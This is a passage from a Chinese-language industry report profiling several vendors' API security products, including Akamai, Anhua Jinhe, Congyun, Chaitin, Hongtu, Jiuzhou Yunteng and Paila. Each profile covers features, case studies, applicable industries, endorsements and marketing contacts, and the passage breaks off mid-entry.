7 旅、航空等重点行业。 以下位 17 家网络安全厂商 API 安全产品及服务详情,排名按照字母顺序。 8 Akamai 阿卡迈 1.产品名称:AAP(Application and API Protector) 2.产品特点及优势: 产品特点:基于 Akamai 边缘云安全解决方案 产品优势: 优势 A:防护多种 API 攻击类型 优势 B:API 主动防御模型 优势 C:API 发现 优势 D:API 防护+API 管理 优势 E:自适应防护引擎,自动化升级,全球互联网威胁情报 3.成功案例: Akamai App & API Protector 致力于全面保护 Web 和 API 资产,为此提供了一整套强 大的保护措施,这些保护措施专为实现“以客户为中心”的自动化和简单性而构建。App & API Protector 在新的自适应安全引擎的支持下,依靠 Akamai 全球部署的边缘节点,从云 端提供 Web App 和 API 的安全防护服务,包括 Web 应用程序防火墙、爬虫程序抵御、 API 安全和 DDoS 防护等领域的核心技术。 9 Akamai App & API Protector 通过Web流量自动发现各种已知、未知和不断变化的API, 包括其端点、定义和流量概况。对于 API 的监测能力有助于防范隐秘的攻击、发现错误并揭 示意外的更改。此外,您只需点击几下鼠标,就能轻松登记新发现 API。而最大的优点莫过 于:无论您是否选择登记 API 请求,该产品会自动检查所有 API 请求,确定其中是否存在 恶意代码,从而默认提供高度可靠的 API 安全性。而如果您登记了 API,还可以通过高级 安全管理选项得益于其他形式的保护,例如在边缘强制执行 API 规范。 Akamai App & API Protector 产品对于不同行业、不同 API 应用场景都有成功的案例。 案例 1: 电商行业,有很多针对 API 接口的注入式攻击,在传统的防火墙中并不能有效检测 API 的 payload,而 Akamai 的 AAP 产品可以深度核查 URL,甚至解析 Base64 编码,从 而有效发现隐藏在 API 中的各种攻击。AAP 的机器学习的引擎可以自动化识别各种攻击类 型,自动升级防护引擎并且有效利用全球的威胁情报系统进行多维度判断。 案例 2: 数字货币和支付行业,由于此类客户的 API 接口非常多,实时性要求非常高,API 的业务也都是他们关键业务,对于 DDoS 的攻击非常敏感。AAP 产品有针对 API 的 DDoS 攻击的有效解决方案,通过精准识别和流量限速功能,从而抵御攻击。 案例 3: 商旅客户, 某商旅客户的 API login 服务经常受到撞库类型的攻击,使得 login 服 务的响应速度慢,还会带来客户隐私数据泄露的风险。API positive security 的功能,可以 精确匹配 API 访问字段的格式,从而过滤掉非法的攻击请求,使得客户恢复正常业务。 Akamai 拥有全面的 API 解决方案,对于 API 进行全面的防护、管理和优化。AAP(App & API Protector)可以对上述多种 API 威胁进行防护;API GW(API Gateway)可以加强 API 的认证和授权管理,同时可以对 API 的访问进行速率控制,减少流量攻击的威胁;APIX 10 (API Acceleration)是基于 Akamai 全球 CDN 平台的加速产品,专门适用对 API 请求的 加速。Akamai API 安全整体方案架构请见下图。 4.适用行业:电商,游戏,高科技,媒体、互联网金融 5.写给甲方的寄语(甲方选购理由): 医疗客户: “Akamai 是边缘安全领域的金牌标准。十多年来,他们一直为我们提供保护,产品创新 和改进从未间断过。部署的 WAF 产品像瑞士军刀一样,可实现第 7 层保护。保证我们 API 应用的安全性,包括 API, REST API, Json , XML 等协议,也帮助我们阻断爬虫攻击 和大流量的攻击。” ——Gartner Peer Insights ‘Voice of the Customer’- Web Application Firewalls 11 非常感谢那些信任我们并将应用程序和业务交由我们来保护的客户。Akamai 致力于不断 创新和改进 WAAP 产品,以抢先一步防范威胁,同时提供部署和使用方面的无缝体验。 我们认为,客户对我们成功的认可不仅进一步激励了我们,而且佐证了我们战略的正确 性。 ——Akamai 区域副总裁暨大中华区总经理李昇 6. 联系人信息: 姓名:刘炅 职位:产品市场经理 电话:13601286023 12 北京安华金和科技有限公司 1.产品名称:安华金和应用系统安全审计系统(DBSec Application Security Audit System, 简称 AAS) 2.产品特点及优势: 产品特点:全面梳理;全面监测;全面留痕;全面可视 产品优势: 优势 A:了解自身应用资产情况,防护重要敏感资产 优势 B:掌握敏感数据访问全貌 优势 C:应用接口脆弱性体检,发现易出问题暴露面 优势 D:感知风险、规避风险、减少损失 优势 E:重点监测跨境数据,保卫国家数据安全;数据泄露事件全面线索分析; 实现隐私 数据管理政策合规;积累多年的行业敏感信息特征库;大屏数据可视化展厅效果 3.成功案例: 案例:中美联泰 背景 13 随着云计算、大数据、人工智能等技术的蓬勃发展,移动互联网、物联网产业加速创新,Web 应用、移动应用已融入生产生活的各个领域。这一过程中,尤其是应用程序接口作为数据传 输流转的重要通道发挥着举足轻重的作用,其不仅帮助企业建立与客户沟通的桥梁,还承担 着不同复杂系统环境、组织机构之间的数据交互、传输的重任。然而,在 Web 应用及 API 技术带来上述积极作用的同时,相关的数据安全问题也日益凸显。 近年来,国内外曝出多起与 Web 应用及 API 相关的数据安全事件,严重损害了相关企业、 用户的合法权益。我国多个行业已出台相关规范性文件,覆盖通信、金融、交通等诸多领域, 对 Web 应用及 API 安全提出了一定要求,对其技术部署、安全管理等进行规范。 同时,以敏感数据暴露、敏感数据非法出境、脱敏异常为代表的数据泄露事件频频发生,第 三方异常调用、账号共用/多账号、特权账号滥用、频次攻击、授权访问异常等行为异常造 成的损失也越来越大,这些问题对公民以及社会造成了不可忽视的负面影响与危害。 应用场景 1)重点不明 面对大量的 Web 应用及接口,无从下手,无法了解哪些 Web 应用及接口存在潜在安全风 险,哪些 Web 应用哪些接口流出了多少敏感数据。 2)资产不明 用户环境复杂、不同时期不同业务的 Web 应用及接口众多;同时存在很多提供给第三方开 发商以及很多临时需求产生的 API,使用后无人管理,用户没有途径了解自己有多少应用及 接口。无论是数据安全管理者或是使用者都无法对应用及接口资产做到全量的盘点梳理。 3)流向不明 14 大量应用和大量接口每天发生的海量的数据行为。用户目前缺乏统一的方式方法了解应用数 据行为全貌,尤其是无法掌握涉及敏感信息的应用数据行为情况,无法了解产生敏感数据行 为的人群主体。 4)风险不明 当用户知道敏感信息泄露事件发生时,时间往往比较滞后并已产生损失。用户需要在大量合 法涉敏行为中发现敏感信息泄露风险,并及时预警,避免风险事件发生同时减少用户损失。 5)泄露不明 当威胁来自于信任时,内部威胁导致的数据泄露在当今已非常普遍,且难以杜绝。同时因为 拥有敏感数据权限的员工众多,造成企业无法定位追责。 解决方案 1)全面梳理 全面梳理发现敏感数据。 定位敏感数据所在的应用资产。 2)全面监测 敏感数据行为监测、敏感数据泄露风险监测,接口脆弱性监测。 敏感数据流向监测、敏感数据跨境监测。 应用监测、 接口监测、账户监测、访问 IP 监测。 3)全面留痕 15 针对敏感数据行为全程留痕、多维度可查、可分析、可追溯。应用行为画像、接口行为画像、 账户行为画像、访问 IP 行为画像。 详细记录所有敏感行为访问数据,按国家相关要求保存,满足国家法规和监管机构对日志审 计的要求。 4)全面可视 集合多种分析数据源的整合,加上炫酷直观的可视化展厅效果设计,为企业带来全方位的数 据可视化管理。基于丰富的敏感行为统计分析功能,让用户能够了解掌握自身敏感行为的特 征分布以及敏感人群,在敏感行为全过程的各个节点加以监测和防护,提升用户敏感数据安 全性。 功能展示 1)流量解析 支持 HTTP 协议解析,完整还原 HTTP 事件的请求和返回内容。 16 支持解析的内容格式包含:JSON,XML,HTML,JSONP,SOAP 等。 支持对文件内容的识别,文件格式包括 xls,xlsx,doc,docx,txt,pdf,csv,zip,rar 等。 支持以响应状态码或响应内容关键字过滤流量事件数据,对无效扫描流量进行过滤。 2)实时监测敏感数据行为 通过对用户环境网络流量的实时分析,实时监测发生的包含敏感数据的行为,并实时分析, 对于命中敏感数据泄露风险规则的行为,实时报警;同步记录下所有发生敏感数据的行为, 通过可视化敏感数据行为地图和行为画像的方式展示给用户,也为后续弱点分析,事件溯源 等功能提供基础明细数据。 3)敏感数据自动发现 能够按照用户指定的一部分敏感数据规则或预定义的敏感数据特征,对网络流量中的数据进 行自动的识别,发现敏感数据,并自动地根据规则对发现的敏感数据推荐最匹配的敏感算法, 准确识别出敏感数据内容 17 识别常规敏感数据:客户信息、交易信息等,例如身份证、地址、电话号码、邮件地址、银 行账号、信用卡号等。 识别特殊敏感数据:具有企业、行业的业务特点的敏感数据,例如配方、供应商等。 4)敏感数据分类分级 数据分类是数据保护工作中的一个关键部分,是建立统一、准确、完善的数据架构的基础, 是实现集中化、专业化、标准化数据管理的基础。行业机构按照统一的数据分类方法,依据 自身业务特点对产生、采集、加工、使用或管理的数据进行分类,可以全面清晰地厘清数据 资产,对数据资产实现规范化管理,并有利于数据的维护和扩充。数据分类为数据分级管理 奠定基础。 数据分级是以数据分类为基础,采用规范、明确的方法区分数据的重要性和敏感度差异,并 确定数据级别。数据分级有助于行业机构根据数据不同级别,确定数据在其生命周期的各个 环节应采取的数据安全防护策略和管控措施,进而提高机构的数据管理和安全防护水平,确 保数据的完整性、保密性和可用性。 系统帮助用户实现敏感数据分类分级管理,确定数据重要性和敏感度。通过分类分级可以有 针对性地采取适当、合理的管理措施和安全防护措施,形成一套科学、规范的数据资产管理 与保护机制,从而在保证数据安全的基础上促进数据开放共享。 5)涉敏应用自动发现 能够自动发现用户环境中涉及到敏感数据流动的应用,具体识别出应用所属域名、部署 IP 敏感数据标签等信息,并统计出每个应用敏感数据种类的分布情况以及所有应用中敏感数据 量最多的应用。 18 让用户能够了解自身哪些应用会产生敏感数据泄露风险;了解每个应用产生哪类敏感数据比 较多;了解哪些应用的敏感数据流量比较大,从而帮助用户既掌握了自身应用的整体涉敏情 况,又帮用户找出了需重点关注的涉敏应用。 6)涉敏接口自动发现 大部分用户对于自身存在多少接口,哪些接口会产生哪些数据都无法做到全面了解,我们通 过对网络流量的分析,以及敏感数据的识别,能够帮用户自动发现用户环境中存在的大量接 口里涉及敏感数据的接口,具体能够识别接口的 IP 地址、接口属于哪个应用、接口的功能 类型、接口的资源类型、接口产生的敏感数据类型等。帮助用户了解自身环境里所有敏感接 口的分布情况,详细的了解每个涉敏接口的具体指标,帮助用户在解决敏感数据泄露问题时 提供针对性接口情况。 7)泄露风险自动发现 自动发现风险 根据内置安华金和敏感数据泄露风险规则,以及不断学习的日常行为模型波动情况,进行有 效的风险分析和深入的挖掘,实时发现敏感数据的泄露风险。并根据行业特征及业务自定规 则判定风险等级。包括能够识别发生风险类型,风险涉及的接口地址,分线涉及的应用名称, 风险涉及的账户,风险涉及的客户端 IP 等信息。 风险实时预警 根据风险风险的级别,通过各种报警渠道主动预警用户。目前预警方式支持微信、短信、邮 件、钉钉等主流方式。提醒用户有敏感数据泄露的风险。 19 风险统计分析及可视化展示 针对已发现的风险情况,提供多条件的检索能力及各维度统计分析。包含风险等级占比、风 险类型分布、风险规则统计等。 8)接口弱点自动发现 自动发现弱点 通过安华金和多年积累的安全特征引擎,对于用户复杂环境下的各种应用,以及每个应用下 的大量不同类型的接口进行全面安全脆弱性检测,发现敏感数据泄露安全脆弱性较低的接 口。 弱点修复建议 针对已发现的弱点情况,基于安华金和多年积累的数据安全经验,提供有针对性的弱点修复 建议,帮助用户提升应用接口安全程度。 弱点统计分析及可视化展示 针对已发现的弱点情况,提供多条件的检索能力及各维度统计分析。包含弱点等级占比、弱 点类型分布、弱点规则统计等。 9)梳理应用及接口资产 资产定位及自动发现 自动发现用户环境分布的应用及接口资产。并根据敏感数据流出的应用和接口,以及用户自 身业务特性,对资产进行打标和分类。 资产生命周期关注 20 对于应用和接口资产的状态持续关注。对于状态发生变化的资产,例如发生变更或长时间失 活的资产,及时更新资产状态。 10)风险事件追踪溯源 针对已发生的某个风险事件,分析风险事件的疑似接口、疑似账户、疑似 IP,为事件追责缩 小范围,并提供原始证据链条。针对需要重点监控人员或重要数据,提供其行为轨迹画像作 为定责的重要依据。可以根据多个疑似线索或风险事件,关联分析出共性特征,提供丰富证 据素材。 部署方式 1)物理部署 21 2)虚拟化部署 产品价值 1)了解自身应用资产情况,防护重要敏感资产 用户环境复杂、每个应用的不同历史时期的接口众多。无论是数据安全管理者或是使用者都 无法对应用及接口资产做到全量的梳理。 本系统基于网络流量分析技术以及协议解析技术,可以帮助用户自动发现及梳理应用及接口 资产清单、管理应用及接口资产基础信息、提供应用及接口资产的敏感标签管理以及提供敏 感数据资产的使用和分布情况,使用户能够了解自身哪些接口存在潜在安全风险,哪些接口 会流出敏感数据,由此进行针对性的重点关注和防护。 2)掌握敏感数据访问全貌 22 面对用户环境下的大量应用和大量接口每天发生的海量的数据行为。本系统基于安华金和多 年积累的行业敏感数据特征和高准确率的敏感信息识别技术,从海量的应用数据行为中精准 定位敏感信息,并记录下整个敏感行为全过程,同时提供全维度的条件检索,让用户可以精 准的找到每一条敏感行为记录。 3)应用接口脆弱性体检,发现易出问题暴露面 通过安华金和多年积累的安全特征引擎,对于用户复杂环境下的各种应用,以及每个应用下 的大量不同类型的接口进行全面安全脆弱性检测,发现敏感数据泄露安全脆弱性较低的接 口,帮用户找出最容易出问题暴露面,并根据安华金和多年积累的数据安全行业经验,针对 发现的问题给出解决建议,帮助用户积极预防敏感数据泄露,具备抗外界病毒侵扰的强壮体 魄。 4)感知风险、规避风险、减少损失 用户需要在大量合法涉敏行为中发现敏感信息泄露风险,并及时预警,避免风险事件发生同 时减少用户损失。 本系统基于主体在复杂业务环境下的所有敏感行为,针对所有主体,应用、接口、账户、IP 建立行为习惯模型,并通过安华智能行为分析引擎不断自学习完善用户行为模型。能够分离 出主体正常的敏感行为,精准的定位到对于不同主体异常的敏感数据行为风险,并自动分析 风险级别,可根据用户自定义告警策略,及时将敏感行为风险预警通知用户,使用户能够将 敏感信息泄露风险遏制在萌芽阶段,减少敏感信息泄露造成的损失。 5)重点监测跨境数据,保卫国家数据安全 23 随着中国的日益强大以及全球对数据价值的认识日益增强,数据跨境越来越受到关注。一方 面,数据跨境是经济全球化和数字经济发展的必由之路;另一方面,数据跨境有可能危害国 家数据安全。我们通过安华倾力打造的跨境数据安全引擎对合理的数据跨境和恶意的、有害 的数据跨境进行区分和监测,及时发现跨境数据泄露风险,避大量敏感数据跨境泄露。 6)数据泄露事件全面线索分析 当威胁来自于信任时,造成的数据泄露可能会持续数月甚至数年都不会引起管理者的注意。 内部威胁导致的数据泄露在当今已非常普遍,且难以杜绝。同时因为拥有敏感数据权限的员 工众多,造成企业无法定位追责。 针对已发生的某个风险事件,从等多个维度进行深度分析,支持数十种检索条件,多重钻取 分析,帮助用户追溯风险来源,分析风险事件的疑似责任主体,为事件追责缩小范围,并提 供原始证据链条。 7)实现隐私数据管理政策合规 随着《数据安全法》的颁布施行,对个人隐私数据的保护已经上升到法律层面。传统的应用 系统普遍缺少对个人隐私数据的保护措施。 通过本产品,可以有效防止企业内部及外部对隐私数据的滥用,防止隐私数据在未经脱敏的 情况下从企业流出。满足企业既要保护隐私数据,同时又保持监管合规的双重需求。 4.适用行业:政府、金融、能源、医疗、教育、企业及运营商等 5.甲方寄语 24 API 安全产品的敏感信息识别能力是敏感信息监测系统所有功能的基础,只有在海量的信息 流中准确的发现识别敏感信息才能够在此基础上展开各种其他功能,而安华金和的敏感信息 识别引擎是基于十多年的行业敏感信息特征积累和技术能力,帮助用户全面掌握敏感数据使 用状况,及时防控敏感数据行为风险,针对数据泄露事件进行有效溯源,快速梳理业务应用 接口资产,从根本上保障数据安全。作为中国专业的数据安全产品与解决方案提供商,安华 金和多年来坚持自主研发与创新,坚持”让数据使用自由而安全“。 安华金和 6. 联系人信息: 姓名:白倩 职位:市场经理 电话:15652711706 25 北京从云科技有限公司 1.产品名称:DAS API 访问控制系统 2.产品特点及优势: 产品特点:不改造业务系统,以终端、⾝份、时间等为授权维度,实现用户自定义的数据动 态脱敏。 产品优势: 优势 A:API 梳理: 通过主动学习智能梳理所有 API 接口,并对 API 接口所有字段分类分 级。 优势 B:细粒度数据保护:打破传统的只能基于 IP 和服务为维度的数据保护,自适应细粒 度动态权限策略引擎,实现细粒度字段级管控。 优势 C:可视化运维: 智能梳理、呈现、检索 API 接口,洞悉风险,可视化呈现,帮助管 理人员快速精准的配置访问策略,实现高效运维。 优势 D:自定义脱敏算法: 多种多样的脱敏算法,轻松定义访问权限和数据脱敏具体字段; 智能适配脱敏算法,实现脱敏工作自动化、动态化。 26 3.成功案例: 案例 A: 深圳某合资保险公司 案例 B: 众安在线 案例:某合资保险公司敏感数据访问控制案例: 方案背景: 信息化、数字化时代,保单以电子下单为主,信息泄露事件层出不穷。保单需要人名、身份 证、工作单位、手机号等个人重要且敏感信息,存在客户信息被任意下载、内部人员泄露敏 感信息等风险。 深圳某合资保险公司十分重视用户隐私信息的保护,采用先进的技术及安全管理制度落实 《中华人民共和国个人信息保护法》的相关规定,重视对数据安全的保护,在充分考虑业务 系统数量多、访问关系复杂、升级迭代易说难行、系统改造成本高起等困难,风控部门联合 IT 部门选择了基于 API 字段的敏感数据访问控制的零信任安全防护体系的建设方案,并引 入从云科技作为零信任数据安全供应商。 方案概述和应用场景: 基于零信任的理念,本次方案突出“永不信任、始终验证”,在业务访问的全流程中引入身 份认证的能力,对管控的对象“用户”、“终端”的身份进行持续校验,并针对防护的数据, 实现“先认证、再授权、再访问”的管控逻辑,规避敏感信息的暴露。让数据可用不可拿。 27 1、零信任控制平台:作为零信任架构中的中枢,控制器,负责零信任体系内访问控制策略 的制定和 API 安全网关的控制。根据公司业务需求对公司内部人员进行权限分组,通过与 零信任 API 网关的安全联动,实现对多有要保护的信息脱敏访问。 2.零信任 API 网关:作为零信任架构中的策略执行点,以“默认拒绝”的模式对所有业务系 统的访问请求,仅可以通过统一控制台验证的合法请求,针对每条请求进行身份鉴别和权限 鉴别,确保资源可访问,可使用,不同组别权限的使用者对敏感信息的可见程度不同。 优势特点和应用价值: 统一身份,持续确认: 对接入人员身份、终端等提供多因子认证,接入业务系统的用户在通过统一认证的合法性校 验后将会生成包含用户、应用身份唯一信息的访问令牌,作为获得后续访问资源的授权凭证。 28 资源隐藏,减少暴露: 安全网关默认拒绝所有请求。只有通过 SPA 敲门认证后才可以建立安全连接,同时在应用 层叠加用户身份凭证的验证,杜绝非法用户的非法访问,实现合法用户的可控访问。 敏感信息动态脱敏: 在对业务系统“0”改造的情况下,通过对用户分类及控制器的策略配置,实现不同人员对 保单等业务资源上的用户身份、住址、手机等字段信息脱敏访问。 4.适用行业:金融、政府、医疗、教育 5.给甲方的寄语: 个人信息贯穿了保单销售、理赔、续约全生命周期,是保险公司经营的重要生产要素,涉及 的敏感信息非常多,数据的合规与安全是企业安全运营的底座。 从云科技打造的 DAS 访问控制系统,保障数据的安全流动,释放数据价值。实现数据可用 不可拿。 ——从云科技解决方案总监贾保元 6.填写人信息: 姓名:秦忠鹏 29 职位:市场部经理 电话:18682015076 30 北京长亭科技有限公司 1.产品名称:长亭 API 安全产品 2.产品特点及优势: 产品特点:API 智能发现聚合:产品内置基于统计学的聚合模型,可根据业务系统 API 访问 情况,对满足条件的 API 请求 URL 做自动聚合处理,可解决不同客户或者不同业务部门对 API 的定义不同的问题,实现在初始化阶段就基于客户预期去自动发现聚合 API。 产品优势: 优势 A:API 数据全渠道识别:产品除了支持传统正则表达式匹配之外,针对业务系统脱敏 后的数据,支持 K-V 等多种数据识别技术,不仅仅可对请求、响应中的 JSON、XML 等半 结构化数据的敏感数据检测,还支持对 API 上传下载接口中的非结构化数据进行扫描,在 数据扫描性能上,依托于长亭科技一贯的技术底蕴,也是遥遥领先。 优势 B:从容监测 API 攻击风险:基于全球首款长亭 WAF 语义引擎升级而来的 API 语义分 析引擎,通过对 API 的载荷内容进行深度解码后,按照其语言类型匹配相应语法编译器,匹 配威胁模型得到威胁评级,可从容应对 OWASP API 安全 Top 10 的安全威胁。 优势 C:自动梳理 API 被访问关系,并深度解析访问请求及内容闭环的 API 脆弱性管理机 31 制:产品可持续对 API 进行脆弱性监测,并可将扫描结果自动同步给长亭洞鉴安全评估系 统,在测试与仿真环境下持续构造 Payload,进一步做脆弱点的主动验证工作,形成自动发 现应用 API 脆弱点、自动验证应用 API 脆弱点风险、自动生成脆弱点严重性、触发工单业 务流的 API 脆弱性全闭环管理。 优势 D:丰富的 API 资产画像:产品内置行为分析引擎,可对不同业务的 API 接口进行参 数特征学习,查看参数信息是否合规,输出每个 API 业务分类的概率与标签。并自动生成基 于 API、人员、以及群体的多维度行为基线和时序图谱,并支持客户基于历史行为情况配置 相关策略,有效应对恶意 API 调用行为。 3.成功案例: 案例 A:某世界五百强企业 API 安全项目 客户背景:作为世界知名的五百强企业,业务覆盖消费、健康等多个领域。由于集团业务的 快速发展,企业数字化转型业务的不断推进,数据中台、微服务、云服务的不断普及,外部 接入渠道的不断丰富,集团业务不断交互带来的复杂和更多业务的对外开放,API 已成为集 团数字化转型业务的核心。因此充分考虑集团现有 API 面临的安全风险,构建一套既具有 易扩展能力,又能兼容企业发展的 API 安全防护体系至关重要。 客户需求: (1)日益增加的 API 资产:在集团信息化建设推进过程中,大量 API 在历史的不断积累下, 集团现有 API 数量已非常庞大,但记录在案的 API 却寥寥无几,提升集团安全部门对未知 API 梳理刻不容缓。 (2)数据传输是否合规无法知晓:API 作为集团重要的数据传输媒介,尤其内部东西向流量传 32 输数据合规问题日益凸显。 (3)API 安全与否无从感知:大量 API 资产在安全视线之外,例如:有些 API 没有经过 WAF 或 API 网关,还有历史遗留下来的僵尸 API,由于缺乏安全防护容易被攻击,集团无法全面 感知 API 面临的风险。 解决方案: 图 1:功能架构图 核心功能: (1) API 资产自动梳理:通过系统内置发现聚合引擎,全面、持续清点 API 接口并进行可视 化展示。 (2)敏感数据发现:自动识别 API 传输的敏感数据,并对敏感数据 API 进行自动分类标记, 自动按照用户 UA 等身份信息,聚合生成全网数据资产流转视图。 (3) API 风险感知:基于语义分析引擎,全面监测 OWASP API Top10 安全问题,持续评估 未知 API 攻击风险,为提升集团 WAF 防护策略覆盖面提供详细日志支撑。 33 图 2:部署示意图 方案价值:利用长亭科技 API 安全产品强大的 API 资产发现、风险监测和响应能力,确保 整个集团信息系统中的所有 API 及传输数据的可知、可见、可控,解决了集团影子 API 所 带来的合规风险、安全风险和业务风险。系统上线后,已累计发现了 10000+未知 API,发 现 API 明文传输数据等脆弱点 100+,并针对性优化了集团 WAF 的防护策略,建立了全集 团 API 资产画像,提升了集团安全部门对 API 的可见性。 4.适用行业:金融、互联网、政府、高校 5.甲方寄语: 随着企业信息化建设的不断深入,API 逐渐成为数字业务的核心,各种规模的企业都采用 API 来改善连接性并构建可组合的产品架构和业务生态,API 的商业重要性正大幅提升。 然而 API 就像硬币的两面一样,为企业提供商业价值的同时,也给企业带来了严峻的安全 34 挑战,传统 API 管理工具已经不能应对日益凸显的 API 安全问题。长亭科技的 API 安全产 品,以实战攻防为切入点并兼顾业务诉求,在降低 API 安全风险的同时保障 API 价值,是 解决 API 安全问题的首选产品。 产品研发中心负责人 刘金钊 6.填写人信息: 姓名:温娜 职位:市场 电话:15638218726 35 深圳红途科技有限公司 1.产品名称:数据隐私合规管理平台 2.产品特点及优势: 产品特点: 1) 数据隐私治理:梳理全域数据属性、流转及使用情况,全面掌握数据资产 2) 数据隐私运营:体系化构建数据隐私运营能力 3) 数据隐私风险:多维度监测分析,实现应用侧数据泄露风险预警 4) 数据隐私处理记录:高效实现处理活动记录,构建四层审计、双向溯源 产品优势: 优势 A:全链路追踪技术—全域数据流转链路智能跟踪 优势 B:全类型数据分类分级—覆盖更全面,且资产可持续运营动态更新 优势 C:全场景—实现从数据隐私治理、合规、风险和审计的多层联动管控 3.成功案例: 案例一: 36 客户行业:寄递物流 客户痛点: 1)数据安全缺乏整体规划:具备一定信息安全能力,但是缺乏数据安全整体规划,急需快 速提升整体水位 2)跨境业务缺乏合规遵从:全球化业务,需要准确解读多国/地区法律法规要求,有效搭建 合规能力 3)数据安全面临较大挑战:敏感数据如何自动化分类分级、敏感数据不可见、数据在应用 间及接口间如何流转无法知晓、核心数据都面临着哪些风险,如何建立一个多维度/多视角 的风险管理地图 解决方案和价值: 1)信息安全咨询服务:完成数据安全管理体系建设,在组织管理、业务流程和技术等方面 具备 有效且可持续运营、符合国际标准的安全风险和隐私信息的管控能力 2)数据合规咨询服务:多国法律法规精准解读,基于业务场景和数据场景构建完整的、动 态更新的数据合规能力 3)数据安全管控落地:通过部署数据安全平台,实现数据分类分级,数据资产及数据可视 化、数据审计及数据溯源、数据风险管理及可视化 案例二: 客户行业:医疗科技 37 客户痛点: 1)信息安全基础薄弱:信息安全建设起步不久,管理制度缺失,技术防护手段一穷二白 2)隐私保护监管严格:监管要求不明确,数据安全体系建设思路和方向缺失,急需建立完 善的数据安全管理体系和技术体系 3)敏感数据信息不明:业务过程中收集个人信息如何合法化、如何最小化收集、数据全生 命周期的安全防护要求如何落地,科技制造业工控设备的安全性如何保障…… 解决方案和价值: 1)数据安全咨询服务:通过 ISO27001/27701 体系建设和认证,快速构建信息安全和隐私 管理体系框架,明确管理要求和组织运作 2)数据合规及技术规划:基于医疗行业监管要求以及业务场景构建合规能力,满足数据合 规遵从;基于风险评估,构建 2-3 年技术规划和项目分解 3)数据安全管控落地:基于业务场景和数据全生命周期,开展全面的安全风险和隐私影响 评估,形成可落地的解决建议;落地建设数据安全流程和技术防护项目 4、适用行业:金融,互联网,运营商,政府,智能制造,交通运输 5、给甲方的寄语(包括甲方选购贵公司理由,不超过 200 字): 在产业数字化转型和数据合规监管的背景下,数据隐私合规成为各行各业关注的重点。红 途科技基于 API 级数据全链路流转追踪能力,构建了以法律法规为牵引,帮助企业打造以 数据隐私治理为底盘,集数据隐私合规运营、风险管理和审计记录为一体的数据隐私合规 科技能力,助力企业数据隐私合规遵从。 38 ——红途科技 创始人、总经理 刘新凯 6、联系人信息: 姓名:杨姗 职位:市场经理 电话:18126289556 39 北京九州云腾科技有限公司 1.产品名称:API 安全认证网关 2.产品特点及优势: 产品特点:完善的泛身份账户体系,基于身份保障 API 安全 产品优势: 优势 A:支持多种强化认证方式,安全可信 优势 B:并发能力强,集群支持动态扩容 优势 C:插件化机制,支持快速扩展分析、控制能力 3.成功案例: 案例 A:某市公安零信任 案例 B:某海关 API 业务网关 案例 C:某政府机构双通道 案例 D:某企业微服务网关 客户所属行业? 1)政府、大型企业 40 客户需求是什么? 多个 API 对外提供服务,但目前缺少安全防护手段,甚至有不少调用是直接查询数据库的 操作,在管理上和安全上,都存在的巨大的风险。 1)为面向上下游生态的 API 业务提供安全保护 2)解决跨部门、跨网域数据交换的安全性 3)解决企业内部应用/服务之间的业务联动安全性。 解决了客户什么问题? 1) 统一的 API 账户管理(增删改,秘钥可见性和秘钥轮转等) 2) 集中的 API 账户认证、授权鉴权管理 3) 收束流量,建立逻辑边界,实现动态最小权限 4) 动态访问策略控制,基于行为的威胁识别 部署完产品/服务产生了什么效果?具体用例描述、方案示意图等。 41 如上图,产品在客户侧交付部署完成后,实现了统一的 API 身份管理和权限管理,集中的认 证,一致的逻辑边界、最小权限、动态策略控制、流量审计等效果。 4.适用行业:政府、大型企业 5.甲方寄语: 九州云腾 API 安全认证网关,基于九州云腾在身份认证及安全领域的多年积累,通过对 API 账户的细粒度管理,严格控制哪些用户/应用可以获取哪些数据,从而实现对 API 的安全防 护。同时,基于 API 的实际情况,提供了负载均衡、健康检查、SSL 卸载,协议转换等一系 列能力,助力企业打造高效安全的 API 生态体系。 九州云腾产研总监 王越 42 6.联系人信息: 姓名:王建军 职位:产品市场经理 电话:13910217313 43 上海派拉软件股份有限公司 1. 产品名称:API 管理平台、API 安全网关、API 安全监测 2.产品特点及优势: 产品特点:完善的 API 生命周期管理;网关混合云部署,实现分布式集群统一管理;基于发 现、监测、防护、响应 实现一体化数字化安全;IAM 无缝集成;零信任无缝整合 产品优势: 优势 A:架构领先,基于云原生、微服务等技术架构 优势 B:强大的安全防护。动态感知的资源访问安全,智能流量控制的访问安全,接口访问 的身份安全,数据脱敏和数据加密的传输安全 优势 C:完善 API 生命周期管理。实现 API 设计、开发、测试、部署、发布、运维的一体化 管理,实现 API 可配置的审批流程 优势 D:监控告警。实现端到云的链路追踪管理,实现大数据日志分析管理,根据技术响应 码和业务响应码实现智能告警能力 优势 E:监测防护响应一体化保障。以 AI 风险监测为核心解决 API 交互安全,解决风险动态 感知、策略精准下发、API 实时防护,解决 API 安全一体化保障 44 3.成功案例: 案例 A:上汽大众 案例 B:上汽通用汽车金融 案例 C:山东城商行联盟 案例 D:中国人寿 案例 E:中国移动 案例 F:安徽征信 案例 A:山东城商行联盟开放平台 公司背景介绍 随着互联网企业的飞速发展,传统金融行业面临巨大的挑战,银行如何构建 B 端企业金融 服务生态,把账户、支付等金融能力包装成 API 供企业自行调用,以开放 API 为技术、 以数据共享为本质、以金融服务云平台合作为模式,因此开放金融服务云平台、API Bank 应运而生。开放金融服务云平台带来银行三种模式,提升银行的竞争力:①以客户为中心 模式,通过开放 API 将金融服务嵌入到客户衣、食、住、行等生活场景中。通过提供综合 服务,获得更多客户,提高客户粘性,增加与客户在生活中的触点,积累数据资产,解决 银客脱媒问题。②金融科技创新模式。银行通过开放 API 与创新科技公司合作,提升自身 技术创新能力和效率。利用人工智能、物联网等领先科技,降低银行运营成本、扩大数据 积累、提升客户体验,以科技为驱动解决客户痛点。③金融业务服务金融服务云平台化模 式,银行通过 API 和微服务等技术重构内部系统,打造服务和数据的开放金融服务云平 台,对内对外提升协同效率。 45 项目系统架构 业务架构方案 逻辑部署架构图 微 服 务 组 件 成员行授权用户 Nginx集群 多租户门户前端 http SSL 加速 F5 https Nginx集群 运营中心 开发者 用户 用户 http http F5 注册中心 认证中心 分布式序列 MySQL Redis Kafka 认证、服务注册发现、 配置获取与更新 数据存取 网关 微服务监控 服务器预警 数据存取 资源发布 服务器监控 关联系统:资产管理系统、支付系统、短信平台等 服务注册发现、 配置获取与更新 生产内管后台 开放平台微服务 门户Portal 沙箱内管后台 服务注册发现、 配置获取与更新 资源发布 联盟授权用户 http 资源发布 异步数据 静态资源 前端程序 数据拉取 数据拉取 分布式文件 46 实施效果图 企业应用价值 1. 建设 API 网关金融服务云平台,统一外部应用调用入口,通过 API 鉴权、安全认证、 流量控制,保证服务调用的合法性和服务的正常运行。 